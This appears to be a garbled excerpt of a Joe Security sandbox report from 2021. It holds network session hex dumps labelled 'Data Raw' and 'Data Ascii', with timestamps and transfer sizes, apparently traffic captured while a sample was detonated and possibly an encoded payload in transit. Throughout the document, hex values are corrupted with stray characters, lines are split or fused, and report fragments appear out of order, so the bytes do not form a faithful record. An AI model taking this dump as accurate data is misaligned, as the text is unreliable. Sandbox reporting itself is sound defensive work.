49 43 20 4e 56 4e 20 59 4c 20 4e 43 49 20 4e 4e 56 20 56 4d 20 59 56 20 56

Data Ascii: Nc YN YV cr W NcM NNI NNc NCY NNM W VCN Yr cL IC LL NNC Nrc NNc VLI rl NIr V IY NNr NCC NCY NrC
VN rC YY VL IC NWI Ic NCI NNV NW YV rL NNI IY NNr NNc NCI NIW NM rwW YC rM 1Y Vrl cY VY NNV VM YV Nir V VV
NNW WV NCY NrN rM NVN YY LN IC NVN YL NCI NNV VM YV V

Data Raw: 63 20 63 4c 20 4e 56 4d 20 49 63 20 56 59 43 20 59 4c 20 56 4c 4d 20 4e 56 59 20 4e 56 4c 20 59 43 20 4d 4e
20 4e 4e 49 20 56 4e 56 20 4e 56 4d 20 63 43 20 4e 4e 4e 20 4c 63 20 4e 4e 72 20 4e 4d 63 20 63 4c 20 4e 43 4¢ 20 49
4e 20 56 4e 4d 20 4e 43 63 20 56 4c 72 20 4e 56 59 20 57 4e 20 59 4c 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 56 49
20 4e 43 72 20 4d 72 20 56 72 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 4e 43 20 57 59 20 4e 43 72 20 4e 4e 56 20 57
4e 20 59 4c 20 56 63 20 72 59 20 49 4e 20 4e 4e 72 20 56 49 20 4e 43 72 20 56 4e 4e 20 4e 4c 20 59 4¢ 20 59 43 20 57
59 20 49 4e 20 4e 72 57 20 57 56 20 4e 43 72 20 4e 4e 56 20 57 57 20 59 4c 20 4e 57 57 20 56 20 56 4e 49 20 4e 56 4d
20 72 20 4e 43 72 20 56 59 43 20 63 20 72 57 20 59 43 20 4d 4e 20 49 4e

Data Ascii: ¢ cL NVM Ic VYC YL VLM NVY NVL YC MN NNI VNV NVM cC NNN Lc NNr NMc cL NCL IN VNM NCc VLr
NVY WN YL NIr V IY NNr VI NCr Mr Vr YL YC WY IN NNC WY NCr NNV WN YL Vc rY IN NNr VI NCr VNN NL YL YC

WY IN NrW WV NCr NNV WW YL NWW V VNI NVM r NCr VYC ¢ rW YC MN IN

Data Raw: 20 4d 63 20 4e 4e 43 20 4e 56 72 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4e 43 20 72 43 20 4c 4e 20 49 4e
20 4e 57 4c 20 4e 4e 4d 20 4c 20 4e 43 63 20 4e 4e 59 20 59 4c 20 4e 4e 4¢ 20 59 72 20 4e 63 56 20 4e 56 59 20 59 72
20 4e 43 72 20 56 4e 4e 20 59 43 20 4e 4e 56 20 72 63 20 4e 56 4d 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4e 57 20 4e 43
63 20 49 4c 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 49 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 57
4320 72 43 20 4e 49 4c 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 4d 20 59 4c 20 4e 72 59 20 59
72 20 63 43 20 4e 4e 43 20 56 59 56 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4d 72 20 72 43 20 4e 59 4e 20 49 4e 20 72
57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 72 59 20 59 4c 20 4e 4c 4d 20

Data Ascii: Mc NNC NVr NCr NWY YC NNC rC LN IN NWL NNM L NCc NNY YL NNL Yr NcV NVY Yr NCr VNN YC NNV
rc NVM IN NWL NNM NW NCc IL YL NNL Yr NcV NVY VI NCr NWY YC NWC rC NIL IN rv NNM NYY NVM NMM YL NrY
YrcC NNC VYV NCr NWY YC NMr rC NYN IN rW NNM NYY NVM NrY YL NLM

Data Raw: 59 20 4e 4e 63 20 4e 56 4c 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4d 4d 20 4e 56 4e 20 4e 4e 4d 20 4e
59 59 20 4e 56 4d 20 56 4e 43 20 72 4e 20 59 4d 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 4c 20 59 4e 20
59 43 20 4e 57 49 20 63 4e 20 4e 59 43 20 4d 4c 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 72 56 20 72 59 20
4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 56 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 59 72 20
4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 49 20 72 63 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20
59 4c 20 4e 4e 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 49 63 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56
4d 20 4e 4d 49 20 72 63 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20

Data Ascii: Y NNc NVL YC NWI cN Vrc MM NVN NNM NYY NVM VNC rN YM Yr NcV NVY Nrw NNL YN YC NWI cN NYC
ML rW NNM NYY NVM VrV rY NNL Yr NcV NVY NrW NNV YN YC NWI cN Yr Mr rwW NNM NYY NVM NI rc NNL Yr NcV
NVY YL NNY YN YC NWI ¢cN Ic Mr rW NNM NYY NVM NMI rc NNL Yr NcV NVY

Data Raw: 59 59 20 4e 56 4d 20 4e 4d 49 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 4e 4c 20 49 59 20 59
4e 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4e 43 49 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20
49 20 4e 4e 4c¢ 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 4e 4d 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 56
20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4e 72 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56
59 20 56 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 49 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59
20 4e 56 4d 20 4e 72 63 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 49 4e 20 49 72 20 59 4e 20 59 43 20
4e 57 49 20 63 4e 20 56 4e 72 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59

Data Ascii: YY NVM NMI | NNL Yr NcV NVY VNL IY YN YC NWI cN Vrc NCI rW NNM NYY NVM VNC | NNL Yr NcV NVY
NNM Ir YN YC NWI cN VV NCW rW NNM NYY NVM NNr W NNL Yr NcV NVY VN Ir YN YC NWI cN NIV NCW rW NNM
NYY NVM Nrc W NNL Yr NcV NVY NIN Ir YN YC NWI cN VNr NCW rW NNM NY

Data Raw: 4d 20 72 4d 20 49 72 20 4e 4e 72 20 59 43 20 57 57 20 49 4c 20 72 4c 20 72 49 20 59 43 20 4e 4e 4c 20 57 4e
2056 56 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 4c 4c 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63
43 20 4e 56 72 20 49 4¢ 20 72 4¢c 20 72 49 20 59 43 20 56 57 20 49 72 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20
56 4e 20 59 4e 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 43 59 20 56 4e 56 20 72 4c 20 72 49 20 59 43
20 4e 59 20 49 4c 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 43 20 59 4d 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72
20 4e 72 63 20 4e 43 56 20 49 4d 20 72 4c 20 72 49 20 59 43 20 56 56 72 20 4e 43 4d 20 4e 57 57 20 4e 43 49 20 4e 43
57 20 4e 4e 56 20 4e 63 4c 20 4e 4e 72 20 4e 4d 20 72 4d 20 49 72 20 4e

Data Ascii: M rM Ir NNr YC WW IL rL rl YC NNL WN VVN NCI NCW NNV NCM LL NM rM Ir NNr NcC NVr IL rL rl YC VW
Ir INNCI NCW NNV VN YN NM rM Ir NNr NcC NCY VNV rL rl YC NY IL IN NCI NCW NNV C YM NM rM Ir NNr Nrc NCV
IMrL rl YC VVr NCM NWW NCI NCW NNV NcL NNr NM rM Ir N

Data Raw: 49 20 4e 49 4e 20 59 43 20 72 57 20 59 43 20 56 56 49 20 49 59 20 4e 49 4c 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e
56 20 63 4e 20 59 43 20 56 72 59 20 59 72 20 49 63 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 49 59 20 59 43 20 59 72
205943 20 4c 43 20 49 72 20 57 4d 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 72 43 20 59 56 20 4c¢ 4d 20 59 72 20 56 20 4e
4e 72 20 4e 43 59 20 4e 43 59 20 4e 43 59 20 59 43 20 4e 43 56 20 59 43 20 72 43 20 49 43 20 4e 43 59 20 4e 4e 4d 20
59 57 20 4e 4e 56 20 4e 49 20 59 56 20 72 4d 20 59 72 20 56 20 4e 4e 72 20 49 4d 20 4e 43 59 20 4e 4e 4e 20 59 43 20
4e 43 56 20 59 43 20 4e 49 20 49 43 20 49 4c 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 56 43 20 59 56 20 4e 4d 20 59 72 20
4e 59 59 20 49 57 20 4e 4d 56 20 4d 43 20 4e 4e 4e 20 59 43 20 43 20 59

Data Ascii: | NIN YC rW YC VVI 1Y NIL NNM NNN NNV ¢N YC VrY Yr Ic NNr NCC NNN NIY YC Yr YC LC Ir WM NNM

YW NNV rC YV LM Yr V NNr NCY NCY NCY YC NCV YC rC IC NCY NNM YW NNV NI'YV rM Yr V NNr IM NCY NNN YC
NCV YC NI IC IL NNM YW NNV VC YV NM Yr NYY IWNMV MC NNN YC C Y

Data Raw: 20 4e 57 20 4e 43 57 20 59 4c¢ 20 59 43 20 49 4d 20 59 43 20 4e 4e 59 20 49 72 20 56 63 20 4e 4e 4d 20 72 43
20 4e 4e 56 20 57 4e 20 72 49 20 4e 4e 57 20 59 72 20 63 56 20 4e 4e 72 20 72 49 20 4e 43 57 20 56 4d 20 59 43 20 4e
4e 4d 20 59 43 20 57 43 20 49 72 20 59 59 20 4e 4e 4d 20 43 20 4e 4e 56 20 4e 4e 57 20 72 49 20 57 56 20 59 72 20 4e
4d 20 4e 4e 72 20 56 63 20 4e 43 57 20 59 4c 20 59 43 20 63 72 20 59 43 20 4e 4e 59 20 49 72 20 4c 20 4e 4e 4d 20 72 4
320 4e 4e 56 20 63 72 20 72 49 20 4e 4e 57 20 59 72 20 4c¢ 57 20 4e 4e 72 20 72 49 20 4e 43 57 20 72 20 59 43 20 4e
4e 4d 20 59 43 20 63 4d 20 49 72 20 59 59 20 4e 4e 4d 20 56 4d 20 4e 4e 56 20 4e 4e 57 20 72 49 20 63 57 20 59 72 20
4e 4d 20 4e 4e 72 20 4e 4c 20 4e 43 57 20 59 4c 20 59 43 20 4d 4c 20 59

Data Ascii: NW NCW YL YC IM YC NNY Ir Vc NNM rC NNV WN rl NNW Yr cV NNr rl NCW VM YC NNM YC WC Ir YY
NNM C NNV NNW rl WV Yr NM NNr Ve NCW YL YC cr YC NNY Ir L NNM rC NNV cr rl NNW Yr LW NNrrl NCW r YC
NNM YC cM Ir YY NNM VM NNV NNW rl ¢cW Yr NM NNr NL NCW YL YC ML Y
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Timestamp transferred

2021-10-29 18:29:53 UTC 1477

2021-10-29 18:29:53 UTC 1482

2021-10-29 18:29:53 UTC 1498

2021-10-29 18:29:53 UTC 1509

2021-10-29 18:29:53 UTC 1525

2021-10-29 18:29:53 UTC 1541

2021-10-29 18:29:53 UTC 1557

2021-10-29 18:29:53 UTC 1573

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 4e 4e 20 59 20 49 20 4c 59 20 57 4e 20 4d 72 20 49 4d 20 4e 4e 20 57 49 20 4e 4e 72 20 4d 4d 20 57 4c 20
59 4c 20 4d 20 4e 4e 4c 20 56 20 4e 4e 57 20 4e 43 56 20 72 49 20 4d 4d 20 57 56 20 59 56 20 4e 4e 56 20 56 20 63 20
4e 20 4e 43 4¢ 20 59 4e 20 59 4e 20 72 4d 20 59 43 20 4e 20 4e 4e 49 20 4e 4e 49 20 4e 4e 72 20 57 49 20 59 56 20 63
59 20 57 43 20 4d 4c 20 72 20 4d 20 56 20 4e 4e 63 20 57 57 20 72 49 20 63 59 20 57 56 20 59 4e 20 72 20 72 49 20 56
20 4e 4e 59 20 57 4d 20 4d 59 20 4d 4e 20 57 56 20 4d 4e 20 43 20 4c 20 4e 4e 56 20 4e 4e 72 20 4e 43 4¢ 20 72 57 20
63 4d 20 72 63 20 59 43 20 59 20 59 20 72 20 43 20 4e 43 56 20 59 4e 20 63 49 20 49 49 20 4d 43 20 4e 4e 63 20 4e 4e
72 20 4d 20 43 20 56 4e 20 59 56 20 63 57 20 49 49 20 72 57 20 59 20 4e

Data Ascii: NN'Y I LY WN Mr IM NN WI NNr MM WL YL M NNL V NNW NCV rl MM WV YV NNV V ¢ N NCL YN YN rM
YC N NNINNINNr WI'YVcY WC MLr MV NNc WW rl cY WV YN rrl VNNY WM MY MN WV MN C L NNV NNr NCL rW
cMrcYCY YrCNCV YNclIIMCNNc NNrMCVNYVcWII WY N

Data Raw: 43 20 4e 4e 63 20 4e 4e 4c 20 4e 4e 63 20 4e 4e 56 20 56 4e 20 4d 43 20 4d 63 20 57 43 20 4d 43 20 4e 4e 57
2057 20 4e 4e 4c 20 4e 4e 72 20 4e 43 4e 20 59 59 20 4d 43 20 49 59 20 72 57 20 4e 4e 59 20 4e 4e 63 20 4e 4e 63 20
56 20 57 49 20 63 59 20 59 59 20 4e 43 57 20 4d 4c 20 4e 4e 49 20 57 20 4e 4e 59 20 4e 4e 56 20 4e 43 4c 20 59 4e 20
72 49 20 57 56 20 63 59 20 4e 4e 59 20 59 20 4e 43 20 4e 4e 72 20 57 4d 20 4d 4e 20 72 49 20 72 4d 20 4d 56 20 4e 4e
59 20 63 20 4e 4e 59 20 4e 4e 59 20 56 4c 20 4d 72 20 59 4e 20 57 4c 20 63 4d 20 4e 4e 63 20 4d 20 4e 4e 59 20 4e 4e
72 20 4e 43 43 20 63 4d 20 72 49 20 49 59 20 4d 4c 20 4e 4e 20 72 20 4e 4e 56 20 59 72 20 57 4d 20 72 49 20 59 59 20
57 72 20 4d 4e 20 4e 43 20 49 20 4e 4e 59 20 4d 20 4e 43 57 20 63 57 20

Data Ascii: C NNc NNL NNc NNV VN MC Mc WC MC NNW W NNL NNr NCN YY MC IY rW NNY NNc NNc V Wi cY YY
NCW ML NNI'W NNY NNV NCL YN rl WV cY NNY Y NC NNr WM MN rl rM MV NNY ¢ NNY NNY VL Mr YN WL cM NNc
M NNY NNr NCC cM rl IY ML NN r NNV Yr WM rl YY Wr MN NC | NNY M NCW cW

Data Raw: 4d 20 57 56 20 57 72 20 49 4d 20 63 49 20 56 4e 20 43 20 4e 49 20 4e 43 57 20 4c 59 20 49 4d 20 49 4e 20 63
7220 49 59 20 63 43 20 4e 4e 72 20 59 63 20 4e 56 20 72 20 49 4e 20 49 49 20 59 43 20 4e 4e 4c 20 72 57 20 63 20 59
63 2057 20 63 57 20 4e 56 56 20 49 4e 20 63 59 20 57 72 20 49 72 20 72 57 20 56 63 20 43 20 43 20 4d 4e 20 63 49 20
49 4d 20 4e 56 63 20 59 4c 20 4e 20 56 57 20 4e 43 57 20 63 4e 20 49 4c 20 63 49 20 57 43 20 59 72 20 4c 6320 43 20 5
6 63 20 4e 4e 20 56 59 20 57 72 20 49 59 20 57 49 20 49 4d 20 4c 56 20 56 63 20 4e 4e 4d 20 72 56 20 56 4e 20 4d 43
20 4e 4e 49 20 57 4c 20 57 43 20 72 49 20 56 4c 20 4d 20 63 4e 20 4e 4d 20 4d 43 20 49 49 20 59 43 20 63 49 20 59 57
20 56 57 20 4e 20 63 4e 20 4e 4d 20 4d 43 20 49 49 20 59 43 20 4d 43 20

Data Ascii: M WV Wr IM ¢l VN C NINCW LY IM IN cr IY ¢C NNr Yc NV rIN I YC NNL rW ¢ Yc W cW NVV IN cY Wr Ir rW
Vc C C MN cl IM NVe YL N VW NCW cN IL ¢l WC Yr Lc C Ve NN VY Wr IY WI IM LV Ve NNM rV VN MC NNI WL WC rl
VLM cNNM MC Il YC ¢l YW VW N cN NM MC Il YC MC

Data Raw: 63 20 56 59 20 72 20 57 4e 20 57 72 20 49 59 20 63 57 20 49 72 20 59 4c 20 4e 63 20 56 59 20 4c 59 20 49 4e
20 49 4e 20 57 56 20 4e 4e 57 20 4c 49 20 56 4e 20 63 20 4e 43 57 20 4c 63 20 63 72 20 4d 4c 20 4e 4e 4d 20 49 4c 20
4c 56 20 59 4e 20 4d 20 4e 43 20 4c 20 59 43 20 49 4e 20 63 72 20 49 4e 20 4c 57 20 4e 4e 72 20 4e 49 20 49 20 72 20
4e 43 57 20 57 63 20 49 4c 20 63 57 20 4c 57 20 56 4c 20 4e 4d 20 63 4e 20 4e 4d 20 4d 43 20 49 49 20 63 59 20 59 72 2
0 4c 57 20 56 4c 20 4e 20 59 43 20 4c 56 20 49 4c 20 63 4d 20 63 59 20 49 4c¢ 20 72 49 20 4c 72 20 56 43 20 56 59 20 56
72 20 63 59 20 72 49 20 4e 4e 63 20 57 59 20 59 49 20 56 56 20 4c 4d 20 4e 56 20 72 20 57 43 20 63 4d 20 59 43 20 49
72 20 4c 49 20 56 57 20 56 20 4c 43 20 56 4e 20 63 72 20 57 63 20 49

Data Ascii: ¢ VY r WN Wr IY cW Ir YL Nc VY LY IN IN WV NNW LI VN ¢ NCW Lc cr MLNNM IL LV YN M NC L YC IN cr IN
LW NNr NIl r NCW Wc IL cW LW VL NM cNNM MC Il cY Yr LW VLN YC LV ILcM cY IL rl Lr VC VY Vr cY rl NNc WY YI
VWLMNVIrWCcMYCIrLIVWVLC VN crWc

Data Raw: 4d 59 20 72 49 20 59 43 20 72 4c 20 4e 4c 20 4e 4e 72 20 56 43 20 4e 43 57 20 4c 43 20 59 43 20 49 72 20 59
43 20 49 4c 20 49 72 20 4e 43 20 4e 4e 4d 20 72 57 20 4e 4e 56 20 4e 43 4d 20 72 49 20 49 4c 20 59 72 20 56 4e 20 4e
4e 72 20 4e 4d 20 4e 43 57 20 56 43 20 59 43 20 57 59 20 59 43 20 49 49 20 49 72 20 4e 4e 72 20 4e 43 43 20 59 4d 20
4e 4e 56 20 57 4c 20 72 49 20 57 4d 20 59 72 20 4c 56 20 4e 4e 72 20 4d 20 4e 43 57 20 56 59 20 59 43 20 57 72 20 59
43 20 49 4e 20 49 72 20 4e 4e 72 20 4e 4e 72 20 4e 56 20 4e 4e 56 20 63 59 20 72 49 20 49 72 20 59 72 20 49 72 20 57
57 20 57 59 20 4e 43 57 20 4d 20 59 43 20 49 4e 20 59 43 20 57 43 20 49 72 20 4c 43 20 4e 4e 4d 20 49 20 4e 4e 56 20
4d 43 20 72 49 20 56 72 20 59 72 20 49 72 20 4e 4e 4c 20 4e 56 4d 20 4e

Data Ascii: MY rl YC rL NL NNr VC NCW LC YC Ir YC IL Ir NC NNM rW NNV NCM rl IL Yr VN NNr NM NCW VC YC WY
YC Il Ir NNr NCC YM NNV WL rl WM Yr LV NNr M NCW VY YC Wr YC IN Ir NNr NNr NV NNV cY rl Ir Yr Ir WW WY N

CW M YC INYCWC Ir LCNNM I NNV MC rl Vr Yr Ir NNL NVM N

Data Raw: 57 63 20 56 72 59 20 4e 57 63 20 4e 56 43 20 4c 57 20 4c 72 20 4e 4d 49 20 4e 72 4d 20 49 59 20 57 63 20 56
7259 20 56 56 4e 20 4e 4e 57 20 4c 57 20 4c 72 20 4d 20 59 59 20 4d 43 20 56 72 56 20 4e 57 4d 20 4e 43 4e 20 4e 43
4e 20 4c 56 20 4e 4d 63 20 4e 59 4e 20 59 59 20 4d 43 20 56 72 56 20 56 56 4e 20 4e 43 63 20 4e 43 4e 20 4c 56 20 59
20 59 4e 20 4c 63 20 56 4e 56 20 56 4e 49 20 4e 56 4d 20 4d 4d 20 4e 4e 72 20 72 4d 20 4c 72 20 4e 4d 49 20 4e 59 57
2057 43 20 57 57 20 56 72 59 20 4e 57 56 20 49 4c 20 59 4c 20 59 4d 20 4c 57 20 4c 63 20 4e 56 4e 20 4e 4e 59 20 4e
43 4¢ 20 56 4c 63 20 4e 4e 56 20 72 4d 20 4c 72 20 4e 4d 49 20 4e 59 72 20 57 56 20 57 63 20 56 72 59 20 4e 57 4c 20
4e 43 4e 20 4c¢ 56 20 59 20 59 4e 20 4c 63 20 56 4e 56 20 56 4e 49 20 4e

Data Ascii: We VrY NWec NVC LW Lr NMI NrM 1Y We VrY VYN NNW LW Lr M YY MC ViV NWM NCN NCN LV NMc NYN
YY MC VrV VVN NCc NCN LV Y YN Lc VNV VNI NVM MM NNr rM Lr NMI NYW WC WW VrY NWV IL YL YM LW Lc NVN
NNY NCL VLc NNV rM Lr NMI NYr WV We VrY NWL NCN LV Y YN Lc VNV VNI N

Data Raw: 43 20 49 72 20 4e 4e 4e 20 4e 4e 56 20 4e 43 72 20 49 49 20 59 43 20 4c 4c¢ 20 4e 4d 49 20 56 4e 49 20 49 4e
20 57 43 20 4e 4e 4d 20 4e 56 4d 20 56 72 43 20 4e 57 49 20 59 4c 20 56 63 20 59 72 20 4d 43 20 56 72 4c 20 4e 43 4e
20 4e 43 72 20 49 49 20 59 43 20 4c 72 20 4e 4d 57 20 59 72 20 49 4d 20 57 43 20 4e 4e 4d 20 4e 4e 4c 20 4e 56 43 20
59 4e 20 72 49 20 59 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 43 20 59 4e 20 72 49 20 59 4e
20 59 72 20 43 20 4e 4e 56 20 57 57 20 59 49 20 56 20 49 4c 20 63 72 20 4e 56 72 20 49 57 20 59 49 20 59 59 20 4e 4c
20 4e 72 20 56 4e 20 63 63 20 63 49 20 57 4e 20 49 57 20 59 49 20 4c 49 20 56 57 20 4c 4e 20 4c 4e 20 63 57 20 63 4d
20 59 4e 20 63 56 20 49 59 20 4e 4e 72 20 4e 4e 57 20 4e 43 57 20 4e 4e

Data Ascii: C Ir NNN NNV NCr II YC LL NMI VNI IN WC NNM NVM VrC NWI YL Ve Yr MC VrL NCN NCr Il YC Lr NMW Yr
IMWC NNM NNL NVC YN rl YIYr Ir NNr NNM NCW NNC YN rl YN Yr C NNV WW YI V IL cr NVr IW YI'YY NL Nr VN cc
cl WN IW YI LI VW LN LN ¢W cM YN cV IY NNr NNW NCW NN

Data Raw: 4e 43 43 20 49 72 20 56 4d 20 4e 4e 4d 20 59 59 20 4e 4e 56 20 57 56 20 72 49 20 4e 4e 56 20 59 72 20 59
63 20 4e 4e 72 20 72 4d 20 4e 43 57 20 4¢ 57 20 59 43 20 57 56 20 59 43 20 49 57 20 49 72 20 72 43 20 4e 4e 4d 20 72
56 20 4e 4e 56 20 4d 43 20 72 49 20 57 4e 20 59 72 20 59 4c 20 4e 4e 72 20 4c 72 20 4e 43 57 20 56 72 20 59 43 20 63
49 20 59 43 20 49 72 20 49 72 20 63 59 20 4e 4e 4d 20 72 4d 20 4e 4e 56 20 63 72 20 72 49 20 4e 43 4d 20 59 72 20 59
4d 20 4e 4e 72 20 59 20 4e 43 57 20 72 20 59 43 20 49 56 20 59 43 20 72 20 49 72 20 4d 59 20 4e 4e 4d 20 56 72 20 4e
4e 56 20 4e 43 72 20 72 49 20 57 59 20 59 72 20 4e 49 20 4e 4e 72 20 43 20 4e 43 57 20 4e 49 20 59 43 20 4e 4e 57 20
59 43 20 4e 56 72 20 49 72 20 4c 4e 20 4e 4e 4d 20 59 56 20 4e 4e 56 20 43

Data Ascii: NCC Ir VM NNM YY NNV WV rl NNV Yr Yc NNr rM NCW LW YC WV YC IW Ir rC NNM rV NNV MC rl WN Yr
YL NNr Lr NCW Vr YC cl YC Ir Ir cY NNM rM NNV cr rl NCM Yr YM NNr Y NCW r YC IV YC r Ir MY NNM Vr NNV NCr rl
WY Yr NI NNr C NCW NI' YC NNW YC NVr Ir LN NNM YV NNV C
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kBytes
Timestamp transferred

2021-10-29 18:29:53 UTC 1589

2021-10-29 18:29:53 UTC 1605

2021-10-29 18:29:53 UTC 1621

2021-10-29 18:29:53 UTC 1637

Session ID Source IP

3 192.168.2.7
kBytes

Timestamp transferred

2021-10-29 18:30:02 UTC 1652

2021-10-29 18:30:02 UTC 1652

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49794

Direction
ouT

Data

Data Raw: 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20
4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20
4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72
49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20
49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e
4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e
4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d

Data Ascii: NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir
NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM
NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM

Data Raw: 4e 20 59 4c 20 4e 59 4d 20 4c 4d 20 56 72 20 4c 4e 20 4e 43 43 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20
4320 43 20 4c 4e 20 57 4d 20 4e 59 4d 20 4c 4d 20 4c¢ 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 59 56 20 4e 59 4d 20 4c
4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 59 4c 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e
20 59 4d 20 4e 59 4d 20 4c 4d 20 56 4c 20 4c 4e 20 72 63 20 4e 59 4d 20 4c 4d 20 4c 56 20 43 20 43 20 43 20 43 20 4c 4
e 2072 57 20 4e 59 4d 20 4c 4d 20 4c 56 20 43 20 43 20 43 20 43 20 4c 4e 20 59 4d 20 4e 59 4d 20 4c 4d 20 4c 56 20 43
20 43 20 43 20 43 20 4c 4e 20 72 57 20 4e 59 4d 20 4c 4d 20 4c¢ 56 20 43 20 43 20 43 20 43 20 4c 4e 20 57 4d 20 4e 59
4d 20 4c 4d 20 56 56 20 4c 4e 20 4e 43 59 20 4e 59 4d 20 4e 4e 59 20

Data Ascii: N YL NYM LM Vr LN NCC NYMLMLVNCCCLNWMNYMLMLYVNCCCLNYVNYMLMLVNCCCLN
YLNYMLMLVNCCCLNYMNYMLMVLLNrcNYMLMLVCCCCLNIWNYMLMLV CCCCLNYMNYMLMLV
CCCCLNrWNYMLMLVCCCCLNWMNYMLMVVLNNCY NYMNNY

Data Raw: 20 72 4c 20 43 20 4e 72 4e 20 4e 20 56 4c 4c 20 43 20 4e 57 20 43 20 4e 72 4c 20 56 20 43 20 4e 20 4e 57 20
43 20 4e 4c 56 20 4e 20 43 20 4e 20 56 4d 20 43 20 4e 72 4e 20 4e 20 4c 20 4e 20 4d 59 20 43 20 4e 72 4e 20 4e 20 4c
20 4e 20 4e 4e 20 43 20 4e 59 56 20 56 20 4c 20 4e 20 4e 57 20 43 20 4e 72 4c 20 56 20 4c 56 20 4e 20 4e 57 20 43 20
4e 4c 56 20 4e 20 4c 56 20 4e 20 56 4d 20 43 20 4e 72 4e 20 4e 20 4c 4c 20 4e 20 4d 59 20 43 20 4e 72 4e 20 4e 20 4c 4
€ 20 4e 20 4e 43 4d 20 43 20 4e 43 20 4c 20 4c 59 20 4e 20 4c 59 20 43 20 4e 72 4e 20 4e 20 4c 59 20 4e 20 72 4c 20 43
20 4e 72 4e 20 4e 20 4c 59 20 4e 20 57 4e 20 43 20 4e 72 4e 20 4e 20 4c 59 20 4e 20 4d 59 20 43 20 4e 72 4e 20 4e 20
72 4e 20 4e 20 59 4e 20 43 20 56 72 56 20 56 20 63 72 20 4e 20 4e 57

Data Ascii: (LCNrNNVLLCNWCNLVCNNWCNLYVNCNVMCNINNLNMYCNINNLNNNCNYVVLN
NWCNLVLVNNWCNLVNLVNVMCNINNLLNMY CNINNLLNNCMCNCLLYNLYCNINNLYNTrLCNIN
NLYNWNCNNNLYNMYCNINNINNYNCVIVVcerNNW

Data Raw: 56 20 4e 43 4e 20 4e 4e 43 20 4e 4e 43 20 4e 43 59 20 4e 43 49 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 43
